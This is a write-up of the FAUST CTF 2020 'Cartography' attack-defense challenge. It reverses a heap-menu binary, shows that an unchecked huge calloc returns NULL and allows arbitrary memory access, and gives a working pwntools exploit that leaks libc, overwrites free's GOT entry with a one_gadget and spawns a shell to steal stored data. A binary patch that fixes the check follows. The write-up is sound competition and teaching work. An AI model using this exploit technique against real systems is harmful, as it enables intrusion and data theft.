FAUST CTF 2020 — Cartography
FAUST CTF 2020 was an online attack-defense CTF, so all challenges during the CTF were presented in the form of network services — each service was listening some TCP port and constantly handling requests. If the service was a web-server, it was running over the HTTP protocol, but in another case it accepted a connection and transmitted data over the TCP protocol.
Cartography is a TCP service, contains single binary file named cartography
and ./data/
folder that contains any user data saved in the service.
Write your own socket server is a bit painful, so it’s normal to use additional network daemons (inetd, xinetd, socat, etc…) that listen a TCP socket and spawn a process on every connection. With this approach you don’t need to analyze any network infrastructure code, it allows you to direct all your attention to the service logic.
Thus the given binary reads from stdin and writes into stdout as if we run it from a normal shell. But on the server side stdin and stdout file descriptors are connected with socket, the binary runs independently for each connection, and all users of the service don’t conflict with each other. Let’s try to run it from bash:
$ ./cartography
.........
..',;:;;:clc;cc:cc;'.....
.';:cllcloollcc:;::;;''',,;::;,..
.,cllloooooolllllllllllcc:::::::::c:;'.
.,coooooooddddddoooooooooolcc:::;;;;;,,;:;'.
.;loodddddddddddddddooodddoollllcc::;;,''''',,..
.;cllloodddddddddddoodooooooolllccclllcc:;,'...'''..
.:clllllooooodxxkkkkxddooooooooolllccccccc:;,'..''',;'
,lllooooooooodxkO0KK0Oxollooooooooooolllcllc::;,,,,,,;:,
.;clooddoooooodxxxkOOOxdollllooooooooooooolllc:::;;,,,,,;c;.
,clodddooooooodddddodddoollloolloooooooooolc:::;::;,,,,,,,:;
'clooxkkxdoddooooooooooolllllllllllooooooool:;;;;;:;;;,,,,,;c'
.:loodkO0Odloooddoolllllcccllllllllloddddddoc:;,;,,;:::;,,,;;:;.
,looodkO0Kkcloooooollllcccclllllllllooddddddoc:;:;,;ccc;;;;;:cc'
.:oddoox0Okxlloddddxdollcllcclooooolooooolllllc:::;,;:cc:::::cll;.
.coodooooolcccodkOO00Oxooddodddddxdooooollccccccc::::::ccc:ccccc;.
.coooolc:::::lodxO0000OkxxkOkxdddddooddoolllllllcllcccccccccccc:;.
.clooolccccccodddxkkk00OddkOkxxdddddddxxddddddolccclccccllllccc:;.
.cooooolcllooodxxddxkOOxllodxkOOOOOOOkxxdxxxxddooccccccoooooc:;;,.
:oodddoooloodxxkxdddddollodkOOOOOOOOkxddxxxxdooolllc:cllllcc:,,'
'odxxddooooodxO0OxddddooooodkOOOOOkxxddxxxkxxdolllc:;;:;:c::;''.
.cxxxxxddddddxxxkxdxxxdddxxxxxdddoodddxdodxkxdollcc;;;;::::;,,.
.lkkkkxxdxxkxooddxxxxxxxxxxdllccclooddolloxdoolcc:;;;;;;;:;,'.
'okkkkxxxkOkdolodddxxxxkOkoc::cccccllcccclllllc:;;,;;;:::;,.
'oxkkkkxkkkxxddoolloddkOOxoccccllllllc::::cc::;;,;;,;:::,.
.cdxxxxddddxkxddddodddddddollooollcccccccc:;;;,,;;;;:;'.
,looddodooooodxxddddddddddooolc:::::::::;;;,,,,,,;,.
.,loooooollloddddddooolllccc:::;;;;;;;;,,,,,,,,,.
.':ccllllllododddolc:;;;;::;;;;;;;;;,,''',,,..
..,;:ccccllooooolc:;;;;,,;;;;;;;;;;,,;;,.
..,;:ccccccclollcllcc:;;;;;:cllc:,..
..',:ccccllllllcc::::::;,'...
........'''......
______ __ __
/ ____/___ ______/ /_____ ____ __________ _____ / /_ __ __
/ / / __ `/ ___/ __/ __ \/ __ `/ ___/ __ `/ __ \/ __ \/ / / /
/ /___/ /_/ / / / /_/ /_/ / /_/ / / / /_/ / /_/ / / / / /_/ /
\____/\__,_/_/ \__/\____/\__, /_/ \__,_/ .___/_/ /_/\__, /
/____/ /_/ /____/
Options:
0. New Sector
1. Update Sector Data
2. Read Sector Data
3. Save Sector
4. Load Sector
5. Exit
>
It draws a nice planet, prints a menu and asks for a user input. Since it’s a binary service, most likely it’s a PWN, so I also downloaded libc.so.6
from the vulnerable image belonging to our team:
$ file libc-2.28.so
libc-2.28.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/l, BuildID[sha1]=18b9a9a8c523e5cfe5b5d946d605d09242f09798, for GNU/Linux 3.2.0, stripped
$ ./libc-2.28.so
GNU C Library (Debian GLIBC 2.28-10) stable release version 2.28.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 8.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
Let’s start analyzing the binary. First we check for enabled security mitigations:
$ file cartography
cartography: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=957dd5021210d75153b252c7fd8baf6437192db2, stripped
$ checksec cartography
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
As you see, stack canary and NX are enabled, but PIE is disabled and GOT table is rewritable. What does it mean? At least, we don’t need to leak base address of the binary (it’s fixed), so we can reuse all the code and imported functions. Also if we could rewrite some GOT entries, then we would intercept the execution flow when calling the imported function and jump into another function.
I will use IDA to reverse the binary. As you see above, there are several menu items for some actions. We input an integer, and it goes to switch/case operator inside the main function. After some analysis we could understand that there are two global variables: current_chunk
(pointer) and current_chunk_size
(integer). The entire binary does some operations with these two variables:
- when we create “New Sector”, it frees
current_chunk
, allocates a new chunk (using calloc) with specified size and setscurrent_chunk
to the new chunk andcurrent_chunk_size
to the size of the new chunk - when we “Update Sector Data”, it asks for
offset
,data
and writesdata
in thecurrent_chunk
by the specifiedoffset
- when we “Read Sector Data”, it asks for
offset
,size
and readssize
bytes from thecurrent_chunk
by the specifiedoffset
- when we “Save Sector”, it just dumps the
current_chunk
data on the disk (it uses to store data in the service) - when se “Load Sector”, it just loads the chunk from the disk and sets
current_chunk
to this chunk (it uses to retrieve data from the service)
I will provide a pseudocode of the first three menu action:
case 0u: // New Sector
puts("Enter the sector's size:");
if (!fgets(&buf, 32, stdin))
exit(1);
sector_size = strtoll(&buf, &endptr, 10);
if (*endptr != 0 && *endptr != 10 || sector_size >> 63)
{
printf("Invalid size for sector: %s\n", &buf);
}
else
{
free(current_chunk);
current_size = sector_size;
current_chunk = calloc(1uLL, size);
puts("Sector created!");
}
break;
case 1u: // Update Sector Data
puts("Where do you want to write?");
if (!fgets(&buf, 32, stdin))
exit(1);
offset = strtol(&buf, 0LL, 10);
puts("How much do you want to write?");
if (!fgets(&buf, 32, stdin))
exit(1);
size = strtol(&buf, 0LL, 10);
if (offset < 0 || size < 0 || offset + size > current_size)
{
puts("Invalid range");
}
else
{
puts("Enter your sensor data:");
if (size != fread((char *)current_chunk + offset, 1uLL, size, stdin))
exit(1);
fgetc(stdin);
}
break;
case 2u: // Read Sector Data
puts("Where do you want to read?");
if (!fgets(&buf, 32, stdin))
exit(1);
offset = strtol(&buf, 0LL, 10);
puts("How much do you want to read?");
if (!fgets(&str_buf, 32, stdin))
exit(1);
size = strtol(&buf, 0LL, 10);
if (offset < 0 || size < 0 || offset + size > current_size)
puts("Invalid range");
fwrite((char *)current_chunk + offset, size, 1uLL, stdout);
_IO_putc(10, stdout);
break;
As you see, there is a little bug in “New Sector” action:
if (*endptr != 0 && *endptr != 10 || sector_size >> 63)
If sector_size
< 2 ** 63, then sector_size >> 63
is always false, so there is no check for a new chunk size. Remember a bit how malloc works (calloc uses malloc inside): if the requested size is a very big (bigger than all available memory, so the operating system can not allocate such big chunk), malloc returns NULL.
Example: malloc(999999999999999999)
will return NULL
if your computer does not have 931322574 gigabytes of RAM. But 999999999999999999 is still lower than 2 ** 63, so we can request a chunk with that size.
When we get NULL pointer, there is no checks for NULL, and we could read and write data on arbitrary location (using offset
value). Using this method, we could leak a libc address from the GOT table. And then, using this method again, we could rewrite any function pointer inside the GOT table.
What function we want to execute? There is a helpful tool called one_gadget. It searches over the libc and find a code which spawns a shell. We could use that tool and find a gadget to spawn a shell easily.
So my exploitation way was:
- request a chunk with a huge size (ex. 999999999999999999)
- leak an address of
free
function and get libc base address - calculate the address of
one_gadget
- rewrite
free
function in GOT table withone_gadget
- request a new chunk to call free function and execute
one_gadget
- in the spawned shell read
./data/
directory and get all secret data
Example sploit:
#!/usr/bin/env python3.7
import re
import sys
from pwn import *
IP = sys.argv[1]
PORT = 6666
def main(io):
free_got = 0x603018
io.sendline(b'0')
io.sendline(str(10).encode())
io.sendline(b'0')
io.sendline(str(999999999999999999).encode())
io.sendline(b'2')
io.sendline(str(free_got).encode())
io.sendline(str(8).encode())
io.recvuntil(b'How much do you want to read?\n')
free_libc = u64(io.recv(8))
libc_base = free_libc - 0x849a0
print('libc_base @ 0x%x' % libc_base)
one_gadget = 0xe5456
io.sendline(b'1')
io.sendline(str(free_got).encode())
io.sendline(str(8).encode())
io.sendline(p64(libc_base + one_gadget))
io.sendline(b'0')
io.sendline(b'10')
io.interactive()
if __name__ == '__main__':
with remote(IP, PORT) as io:
main(io)
How to fix? We need to change invalid check to valid check, for example sector_size > 0xFFFF
:
if (*endptr != 0 && *endptr != 10 || sector_size > 0xFFFF)
Let’s look to assembler. Here is a code that’s checking the size:
.text:0000000000400DA8 call _strtoll
.text:0000000000400DAD mov rdx, [rsp+118h+endptr]
.text:0000000000400DB2 movzx edx, byte ptr [rdx]
.text:0000000000400DB5 cmp dl, 0Ah
.text:0000000000400DB8 setnz cl
.text:0000000000400DBB test dl, dl
.text:0000000000400DBD setnz dl
.text:0000000000400DC0 test cl, dl
.text:0000000000400DC2 jnz loc_400E5B
.text:0000000000400DC8 mov rdx, rax
.text:0000000000400DCB shr rdx, 3Fh
.text:0000000000400DCF test dl, dl
.text:0000000000400DD1 jnz loc_400E5B
.text:0000000000400DD7 mov rdi, rbp ; ptr
.text:0000000000400DDA mov [rsp+118h+size], rax
.text:0000000000400DDF call _free
.text:0000000000400DE4 mov rax, [rsp+118h+size]
.text:0000000000400DE9 mov edi, 1 ; nmemb
.text:0000000000400DEE mov rsi, rax ; size
.text:0000000000400DF1 mov [rsp+118h+ptr], rax
.text:0000000000400DF6 call _calloc
We need to change some bytes to add cmp
with 0xFFFF
:
.text:0000000000400DA8 call _strtoll
.text:0000000000400DAD mov rdx, [rsp+118h+endptr]
.text:0000000000400DB2 movzx edx, byte ptr [rdx]
.text:0000000000400DB5 cmp dl, 0Ah
.text:0000000000400DB8 setnz cl
.text:0000000000400DBB test dl, dl
.text:0000000000400DBD setnz dl
.text:0000000000400DC0 test cl, dl
.text:0000000000400DC2 jnz loc_400E5B
.text:0000000000400DC8 cmp rax, 0FFFFh
.text:0000000000400DCE nop
.text:0000000000400DCF nop
.text:0000000000400DD0 nop
.text:0000000000400DD1 jg loc_400E5B
.text:0000000000400DD7 mov rdi, rbp
.text:0000000000400DDA mov [rsp+118h+size], rax
.text:0000000000400DDF call _free
.text:0000000000400DE4 mov rax, [rsp+118h+size]
.text:0000000000400DE9 mov edi, 1 ; nmemb
.text:0000000000400DEE mov rsi, rax ; size
.text:0000000000400DF1 mov [rsp+118h+current_size], rax
.text:0000000000400DF6 call _calloc
And now our check becomes correct:
Options:
0. New Sector
1. Update Sector Data
2. Read Sector Data
3. Save Sector
4. Load Sector
5. Exit
> 0
Enter the sector's size:
999999999999999999
Invalid size for sector: 999999999999999999
Options:
0. New Sector
1. Update Sector Data
2. Read Sector Data
3. Save Sector
4. Load Sector
5. Exit
>